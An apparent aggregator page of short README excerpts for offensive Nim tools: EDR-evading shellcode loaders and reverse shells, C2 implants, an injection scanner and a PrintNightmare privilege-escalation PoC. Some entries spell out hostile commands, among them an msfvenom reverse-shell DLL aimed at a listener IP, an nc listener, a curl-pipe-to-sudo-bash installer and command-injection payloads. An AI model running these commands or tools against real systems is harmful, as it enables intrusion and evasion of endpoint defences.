nim-loader

nim-loader 通过拼凑资源来学习nim，创建一个实现常见EDR/AV规避技术的shellcode加载器，这是一个非常粗糙的进行中的冒险。 这很混乱，仅供研究目的！请不要指望它不经你自己的修改就能编译和运行。 使用说明 将 loader.nim 中的字节数组替换为你自己的 x64 shellcode 编译EXE并运行：nim c -d:danger -d:strip --opt:size "loader.nim" 可能要通过查看你使用的注入文件夹方法中的 .nim 文件来调整要注入到的进程... 已完成功能 从NTDLL动态解析的直接系统调用（感谢 @ShitSecure）...

nim-shell

Nim-Shell 能够绕过EDR和Windows Defender检测的反向Shell 请勿上传至VirusTotal 安装说明 root@kitploit: $ apt install nim 编译 nim c -d:mingw --app:gui nimshell.nim 根据您的设备，更改nimshell.nim文件中您要监听的IP地址和端口号。 监听 root@kitploit: $ nc -nvlp 4444...

grc2

nimc2 此软件尚处于非常早期的开发阶段，使用过程中可能会遇到许多问题 nimc2 是一款使用 nim 语言完全编写的非常轻量级的 C2。其用途范围涵盖用户支持到员工监控。 如果你想尝试一下，请查看 wiki 了解如何安装和使用 nimc2。它的特性包括： 生成 Windows 和 Linux 植入体 TCP 套接字和 HTTP 通信 能够创建任意数量的监听器 完善的任务系统 用于存储截图和下载文件的战利品系统 可自定义的模块，用于扩展植入体的自定义功能 易用的命令行界面 ……以及即将推出的更多功能 加入 discord 讨论此项目。 Wiki 快速上手 安装 Nimc2 快速入门...

Nimplant

已弃用 此代理已被弃用，因为它仅兼容 Mythic 2.1，且主要开发者无法继续维护。如果有人愿意对其进行更新（涉及 Python 方面，而非 Nim 代码）以适配最新版 Mythic，我们可以将其标记为不再弃用。 Nimplant 是一款用 Nim 编写的跨平台（Linux 和 Windows）木马，作为学习 Nim 并探索其为红队工具开发带来哪些可能性的有趣项目。目前，Nimplant 缺乏全面的规避技巧；但随着时间的推移，Nimplant 将变得更加复杂。 安装 要安装 Nimplant，你需要在远程计算机上安装 Mythic。你可以在 Mythic 项目页面 找到 Mythic...

xpath

xpath 用于授权安全测试的高级 XPath 注入扫描器。 由 Chokri Hammedi blue0x1 编写 · MIT 许可 概述 xpath 是一个使用 Nim 编写的快速、多技术 XPath 注入扫描器。它专注于实际检测、响应比较、可见提取、盲提取，以及针对真实世界 XML 支持应用的负载覆盖。 它除了 Nim 标准库外没有外部运行时依赖。 能力 领域| 支持 ---|--- 检测| 基于错误、布尔型盲注、时间型盲注、认证绕过、联合/节点选择 提取| 可见 HTML 解析、选择器联合提取、盲 XPath 数据提取 负载| 经典、谓词、函数、路径逃逸、编码、实体、大小写混合变...

OffensiveNim

OffensiveNim Mis experimentos en armamento de Nim para desarrollo de implantes y operaciones ofensivas generales. Tabla de contenidos OffensiveNim Tabla de contenidos ¿Por qué Nim? Ejemplos en este repositorio que funcionan Ejemplos que son trabajo en progreso Compilando los ejemplos en este...

nimcrypt

nimcrypt A Sliver shellcode loader written in Nim targeting Windows x64. Two variants covering the two most common delivery situations. Tested against Windows Defender with real-time protection enabled. Variants stager Reads an encrypted shellcode blob from disk, decrypts it in memory, and...

conquest

Conquest es un framework de comando y control/post-explotación completo, extensible y maleable, desarrollado para pruebas de penetración y simulación de adversarios. El servidor de equipo, el cliente de operador y el agente de Conquest se han desarrollado utilizando el lenguaje de programación Ni...

nimux

纯 Nim 编写的网络枚举与远程执行工具包 nimux - 原生操作员工具包 nimux 是一个面向授权安全评估的原生命令界面。它将网络枚举、轻量级 Web 发现、凭据验证、Active Directory 操作、Kerberos 工作流、远程执行、文件传输、机密收集、DCSync、GPO 操作、数据库客户端和 SOCKS 路由整合到一个纯 Nim 工具包中。 当前版本：v1.0.6 您正在访问 nimux 的官方公共仓库。 网站：https://nimux.wiki 文档：https://docs.nimux.wiki 源码：https://github.com/blue0x1/nim...

NimNightmare

CVE-2021-1675 LPE PoC 不是我的漏洞利用！只是想玩玩 nim 中的 winim 库。 用法 使用 msfvenom -p windows/x64/shellreversetcp LHOST=192.168.8.237 LPORT=4444 -f dll msfvenom.dll 生成 DLL 载荷，然后在攻击机上启动监听程序。 在受害机上运行 .\nimnightmare.exe 即可获得 SYSTEM 权限的 shell。...

NimPlant

NimPlant - Un implante C2 ligero de primera etapa escrito en Nim, Rust y Python Por Cas van Cooten @chvancooten, con agradecimientos especiales a algunas personas increíbles: Kadir Yamamoto @yamakadi, Furkan Göksel @frkngksl , Fabian Mosch @S3cur3Th1sSh1t, Rafael Félix @b1scoito, Guillaume Caillé...

nimrm

nimrm 使用 Nim 编写的原生 WinRM Shell 客户端 版本 1.2.0 · 作者 Chokri Hammedi blue0x1 · 许可证 MIT 法律声明 nimrm 旨在对您拥有或已获得明确访问许可的系统进行合法的管理、安全测试和研究。作者不对因使用本工具而造成的滥用或损害负责。 目录 概述 功能特性 环境要求 安装 构建 性能 用法 选项 交互命令 会话管理 示例 注意事项 许可证 概述 nimrm 提供了一个紧凑且快速的 WinRM Shell，并带有实用的身份认证、命令执行、传输和报告辅助功能。它构建为原生 Nim 二进制文件，不依赖任何 Nim 软件包。 功能...

Nimbo-C2

Nimbo-C2 Nimbo-C2 关于 功能 安装 简单方式 更简单的方式 使用 限制、警告、说明 贡献 关于 Nimbo-C2 是又一个（简单且轻量级的）C2框架。 Nimbo-C2 Agent支持x64 Windows和Linux。它用Nim编写，并在Windows上部分使用了.NET（通过动态加载CLR到进程中）。Nim很强大，但使用PowerShell与Windows交互更简单、更健壮，因此进行了这种组合。Linux Agent更精简，仅支持基本命令，包括使用memfd技术加载ELF文件。 所有服务器组件均用Python编写： HTTP监听器，管理Agent。...

upx

ooooo ooo ooooooooo. ooooooo ooooo 888' 8' 888 Y88. 8888 d8' 888 8 888 .d88' Y888..8P 888 8 888ooo88P' 8888' 888 8 888 .8PY888. 88. .8' 888 d8' 888b YbodP' o888o o888o o88888o root@kitploit: The Ultimate Packer for eXecutables Copyright c 1996-2026 Markus Oberhumer, Laszlo Molnar & John Reiser...

nim-shell

Nim-Shell Reverse shell that can bypass EDR and windows defender detection Please do not upload to VirusTotal 𝗜𝗡𝗦𝗧𝗔𝗟𝗟𝗔𝗧𝗜𝗢𝗡 𝗜𝗡𝗦𝗧𝗥𝗨𝗖𝗧𝗜𝗢𝗡𝗦 root@kitploit: $ apt install nim Compilation nim c -d:mingw --app:gui nimshell.nim Change the IP address and port number you want to listen to in the nimshell.ni...

vaf

vaf 一个用 Nim 编写的快速、简单且功能丰富的 Web 模糊测试器 vaf 是一个跨平台 Web 模糊测试器，功能丰富。其中一些功能包括： 快速线程 HTTP 头模糊测试 代理支持 你自己的功能！ 以及更多…… 安装 你可以使用以下一行命令安装 vaf： root@kitploit: curl https://raw.githubusercontent.com/d4rckh/vaf/main/install.sh | sudo bash 选项 root@kitploit: 选项： -h, --help -u, --url=URL 目标 URL。用 FUZZ 替换模糊测试区域 -w,...

CVE-2024-24576-PoC---Nim

使用 Nim 探索 Windows 中的命令注入漏洞 https://foxoman.hashnode.dev/exploring-command-injection-vulnerabilities-in-windows-with-nim?showSharer=true 以下是根据 Nim 代码实验中使用不同载荷的测试结果汇总而成的表格： 载荷| execProcessNoQuoteShell| execProcessQuoteShell| execShellCmd ---|---|---|--- nim &calc| 未通过| 未通过| 通过 nim" &calc| 通过| 未通过|...

Bitmancer

Bitmancer Bitmancer 是一个用 Nim 编写的、面向 Windows 操作系统的进攻性安全工具开发库。它旨在提供通用的 API、例程和宏，并具有高度可配置、位置无关、独立的实现。 如果你正在寻找开发 Implant、测试快速 PoC 或编写全新闪亮工具，Bitmancer 可以帮助你快速入门！ ⚠️ 该仓库目前是一个巨大的 WIP（正在进行中的工作）！使用它可能会出现问题，并且目前不保证稳定性。 ⚠️ 依赖项 Bitmancer 部分使用 winim 作为其类型。要安装，请运行： nimble install winim 安装 Bitmancer 尚未被纳入 nimble...

PichichiH0ll0wer

PichichiH0ll0wer PichichiH0ll0wer 关于 功能 注入方法 安装 用法 致谢 关于 --== 仅限PE的Nim编写的进程空心化加载器 ==-- 我构建PichichiH0ll0wer是为了学习并做出贡献，当然。但也因为我非常厌倦到处都是shellcode。加载PE可能不那么隐蔽，我知道，但它仍然高效，并且比每次将PE有效载荷转换为shellcode（并不总是顺利）更方便。此外，PichichiH0ll0wer有一些功能来保护你的有效载荷。仅支持x64 EXE。 功能 可配置构建器 有效载荷在空心加载器中加密并压缩（可选分割） 支持使用多个进程进行分割注入...

Nim-RunPE

Nim-RunPE 一个用Nim实现的从内存中反射加载PE的代码。该代码的基础取自RunPE-In-Memory - 我将其移植到了Nim。 您需要安装以下依赖： nimble install ptrmath winim 我仅使用Nim 1.6.2版本进行了测试，因此请使用该版本进行测试，否则无法保证使用其他版本时不会出现错误。 编译 如果您希望在运行时传递参数，或者根本不想传递参数，请通过以下方式编译： nim c NimRunPE.nim 如果您想要硬编码自定义参数，请根据您的需要修改const exeArgs，并使用以下命令编译： nim c -d:args NimRunPE.ni...